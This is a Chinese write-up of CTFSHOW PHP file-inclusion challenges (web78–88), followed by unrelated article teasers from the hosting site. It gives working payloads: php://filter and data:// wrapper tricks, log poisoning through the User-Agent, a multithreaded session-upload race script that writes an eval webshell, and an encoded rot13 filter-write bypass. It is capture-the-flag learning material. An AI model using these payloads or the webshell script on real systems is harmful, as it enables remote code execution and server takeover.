【Web】CTFSHOW PHP文件包含刷题记录(全)

温故知新。

目录

web78

web79

web80

web81

web82

web83

web84

web85

web86

web87

web88


web78

伪协议base64编码直接读出文件内容就行

?file=php://filter/convert.base64-encode/resource=flag.php

web79

一眼data伪协议包含php脚本

?file=data://text/plain,<?=system('tac f*')?>

web80

data也被禁了,日志包含即可

?file=/var/log/nginx/access.logUA:<?php system('tac f*')?>

web81

多禁了一个":",还是可以日志包含

?file=/var/log/nginx/access.logUA:<?php system('tac f*')?>

web82

连"."都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下的session文件

【心得】PHP文件包含高级利用攻击面个人笔记

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
 

下面贴出我的私用脚本,建议收藏(bushi

import requests
import threadingsess = "Z3r4y"file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'url = "http://30fb3ca5-61ea-49af-927f-05e8c0f4fcc7.challenge.ctf.show/"data = {"PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}file = {'file': 'Z3r4y'
}cookies = {'PHPSESSID': sess
}def write(session):while True:r = session.post(url=url, data=data, files=file, cookies=cookies)def read(session):while True:r = session.post(url=url + "?file=/tmp/sess_Z3r4y")if "success" in r.text:print("shell 地址为:" + url + "/1.php")exit()else:print('让我访问!!')if __name__ == '__main__':threads = []for i in range(5):session = requests.session()t = threading.Thread(target=write, args=(session,))threads.append(t)t.start()for i in range(5):session = requests.session()t = threading.Thread(target=read, args=(session,))threads.append(t)t.start()for t in threads:t.join()

运行结果

拿到shell,访问RCE即可

web83

session_unset()函数用于释放当前会话中所有已注册的会话变量。它会将会话数组中的所有元素置为空,并将当前会话的变量销毁,但并不会完全终止会话。

session_destroy()函数用于销毁当前会话。它会删除当前会话的所有数据,包括会话文件(如果使用文件存储会话数据)或相关的存储机制中的数据。同时,会话ID也会被删除,导致会话无法再被恢复。

这两个函数通常一起使用,用于清除和终止会话。

但是并不慌,只要是程序运行,必定会消耗时间,从session_unset()运行到include之前的这段时间,我们只要再上传文件注册一个session就可在临时文件里再创建一个sess文件,成功包含。

脚本和上一题一样。

web84

同上,在system("rm -rf /tmp/*")和include($file)之间再上传sess文件即可成功包含。

web85

 同上,进file_exists的时候一个线程的sess文件还在,进file_get_contents之前时候会话终止,sess文件被销毁,然后文件内容为空进不到strpos的if判断,成功包含。

线程开大一点就可以成功写入。

web86

dirname — 返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false

include — 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

我们include已经指定了路径,不受影响,还是用上面的脚本打

web87

 一眼死亡exit绕过

php://filter 绕过死亡file_put_content()

?file=php://filter/write=string.rot13/resource=1.php

php-fpm接收数据时会url解码一次, urldecode又会url解码一次,所以要url二次编码,顺便过掉':'和'.'的waf

这里推荐用burpsuite自带的编码工具,它的url编码是全编码

 

php://filter/write=string.rot13/resource=1.php用于将输出进行rot13编码后写入指定的文件

然后随便找个rot13在线编码网站,编码一次, 这样伪协议过滤器rot13编码写文件就会把编码内容还原会原来的恶意代码(rot13编码两次即恢复原样),顺带过掉die。最终payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30post:content=<?cuc flfgrz('gnp s*');?>

web88

没有过滤冒号,可以使用data://协议。但是因为过滤了'php'和'=',不太好直接写马,所以需要base64编码。不过还有一点就是base64编码后很容易出'='和'+',所以需要去加一些字符调整payload。

 加个Z3r4y竟然可以hhh

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/PlozcjR5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/613916.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Netty-Netty组件了解

EventLoop 和 EventLoopGroup 回想一下我们在 NIO 中是如何处理我们关心的事件的&#xff1f;在一个 while 循环中 select 出事 件&#xff0c;然后依次处理每种事件。我们可以把它称为事件循环&#xff0c;这就是 EventLoop 。 interface io.netty.channel. EventLoo…

数据结构栈、队列、链表、散列表

栈&#xff08;stack&#xff09; 栈&#xff08;stack&#xff09;是限制插入和删除只能在一个位置上进行的表&#xff0c;该位置是表的末端&#xff0c;叫做栈顶&#xff08;top&#xff09;。它是后进先出&#xff08;LIFO&#xff09;的。对栈的基本操作只有 push&#xf…

刷题第十六天-扰乱字符串

扰乱字符串 题目要求 解题思路 初步分析 给定两个字符串T和S&#xff0c;假设T是由S变换而来的 如果T和S长度不一样&#xff0c;必定不能变来如果长度一样&#xff0c;顶层字符串S能够划分 S 1 S_1 S1​和 S 2 S_2 S2​&#xff0c;同样字符串T也能够划分为 T 1 T_1 T1​和…

RT-Thread 线程间通信 信号

信号 信号&#xff08;又称为软中断信号&#xff09;&#xff0c;在软件层次上是对中断机制的一种模拟&#xff0c;在原理上&#xff0c;一个线程收到一个信号与处理器收到一个中断请求可以说是类似的。 信号的工作机制 信号在RT-Thread中用作异步通信&#xff0c;POSIX标准…

MES系统数据采集的几种方式

生产制造执行MES系统具有能够帮助企业实现生产数据收集与分析、生产计划管理、生产过程监控等的功能板块&#xff0c;在这里小编就不一一介绍了&#xff0c;主要讲讲它的数据采集功能板块&#xff0c;可以说&#xff0c;数据采集是该系统进行数据统计与生产管理等后续工作的基础…

SpringBoot默认配置文件

✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo的博客 💞当前专栏: 循序渐进学SpringBoot ✨特色专栏: MySQL学习 🥭本文内容:SpringBoot默认配置文件 📚个人知识库: Leo知识库,欢迎大家访问 1.前言☕…

【每日一题】2696. 删除子串后的字符串最小长度-2024.1.10

题目&#xff1a; 2696. 删除子串后的字符串最小长度 给你一个仅由 大写 英文字符组成的字符串 s 。 你可以对此字符串执行一些操作&#xff0c;在每一步操作中&#xff0c;你可以从 s 中删除 任一个 "AB" 或 "CD" 子字符串。 通过执行操作&#xff0c…

如何在数学建模竞赛中稳定拿奖

✅作者简介&#xff1a;人工智能专业本科在读&#xff0c;喜欢计算机与编程&#xff0c;写博客记录自己的学习历程。 &#x1f34e;个人主页&#xff1a;小嗷犬的个人主页 &#x1f34a;个人网站&#xff1a;小嗷犬的技术小站 &#x1f96d;个人信条&#xff1a;为天地立心&…

Windows 10 Manager v3.9.0.0

软件介绍 Windows 10 Manager&#xff0c;Win10优化软件&#xff0c;香港Yamicsoft 公司开发的集微软Windows10的所有功能于一身的系统优化软件&#xff0c;包含40多个实用程序来优化&#xff0c;调整&#xff0c;清理&#xff0c;加速和修复Windows 10&#xff0c;可以让系统…

函数指针和回调函数

文章目录 一.函数指针1.什么是函数指针2.函数指针的形式3.函数指针的用途。1.调用函数2.作为参数进行传递 二.函数指针数组三.回调函数 一.函数指针 1.什么是函数指针 函数指针是指向函数的指针。在C语言和C中&#xff0c;函数指针可以用来存储函数的地址&#xff0c;并且可以…

【操作系统】优化MBR程序:让MBR调用显存吧

一.显存、显卡以及显示器的概述 显卡用于连接CPU和显示器&#xff0c;我们调用显示器时&#xff0c;其实就是利用显卡提供的IO接口间接地对显示器进行操作&#xff0c;所以显卡也称之为显示适配器。接下来我们将优化之前写的MBR程序&#xff08;参考&#xff1a;【操作系统】BI…

经管类CSSCI、北核期刊投稿指南数据(2023年更新)/经管类的期刊投稿指南

经管类CSSCI、北核期刊投稿指南&#xff08;2023年更新&#xff09; 1、内容包括&#xff1a;投稿指南-CSSCI版本、CSSCI扩展版本、北大核刊版本、建议期刊版本、所有期刊。 2、范围&#xff1a;CSSCI、CSSCI扩展、北大核刊 3、说明&#xff1a;包含经管类期刊的发表难度&am…

【LeetCode】2626. 数组归约运算

数组归约运算 题目题解 题目 给定一个整数数组 nums、一个 reducer 函数 fn 和一个初始值 init&#xff0c;返回通过依次对数组的每个元素执行 fn 函数得到的最终结果。 通过以下操作实现这个结果&#xff1a;val fn(init, nums[0])&#xff0c;val fn(val, nums[1])&#…

AlexNet论文翻译与精读

1:该论文解决了什么问题&#xff1f; 图像分类问题 2&#xff1a;该论文的创新点&#xff1f; 1:使用了大的深的卷积神经网络进行图像分类&#xff1b; 2:采用了两块GPU进行分布式训练&#xff1b; 3:采用了Relu进行训练加速&#xff1b; 4:采用局部归一化提高模型泛化能…

Qt 窗口阴影边框

环境&#xff1a;Qt 5.15 VS2019 方法一&#xff1a;QGraphicsDropShadowEffect 实现方法参考链接&#xff1a;https://blog.csdn.net/goforwardtostep/article/details/99549750 使用此方法添加窗口阴影&#xff0c;会出现警告信息&#xff1a; 且窗口最大化与还原切换时会…

多态、抽象类和接口(深拷贝和浅拷贝)

目录​​​​​​​ 前言&#xff1a; 多态&#xff1a; 多态的定义&#xff1a; 向上转型&#xff1a; 方法重写&#xff1a; 再看toString方法&#xff1a; 动态绑定&#xff1a; 向下转型&#xff1a; 小练习&#xff1a; 抽象类&#xff1a; 什么是抽象类&am…

Logstash应用-同步ES(elasticsearch)到HDFS

1.场景分析 现有需求需要将elasticsearch的备份至hdfs存储&#xff0c;根据以上需求&#xff0c;使用logstash按照天级别进行数据的同步 2.重难点 数据采集存在时间漂移问题&#xff0c;数据保存时使用的是采集时间而不是数据生成时间采用webhdfs无法对文件大小进行设置解决…

水产冷链物流行业零下25℃库架一体 海格里斯HEGERLS四向穿梭式冷藏冷库智能密集仓

随着国内外仓储物流整体规模和低温产品消费需求的稳步增长&#xff0c;冷链市场应用潜力不断释放。在传统“货架叉车”的方式下&#xff0c;货物、人员及机械设备不断进出&#xff0c;容易造成温度波动&#xff0c;导致冷量流失。立体冷库则以更高密度、更具成本效益的方式&…

性能测试中TPS上不去的几种原因浅析

昨晚在某个测试群看到有人问了一个问题&#xff1a;压力测试中TPS一直上不去&#xff0c;是什么原因&#xff1f;稍微整理了下思路&#xff0c;列举性的简略回答了他的问题。 这篇博客&#xff0c;就具体说说在实际压力测试中&#xff0c;为什么有时候TPS上不去的原因。如有遗…

C++学习笔记(三十五):c++ 函数指针及lambda表达式

本节介绍c函数指针。在一些源码中经常能看到c函数指针&#xff0c;但之前一直觉着这一块比较复杂&#xff0c;就一直没去仔细研究&#xff0c;终于有时间去仔细研究这一块内容了。 c风格的函数指针 函数指针是指将一个函数赋值给一个变量的方法&#xff0c;可以将函数作为一个参…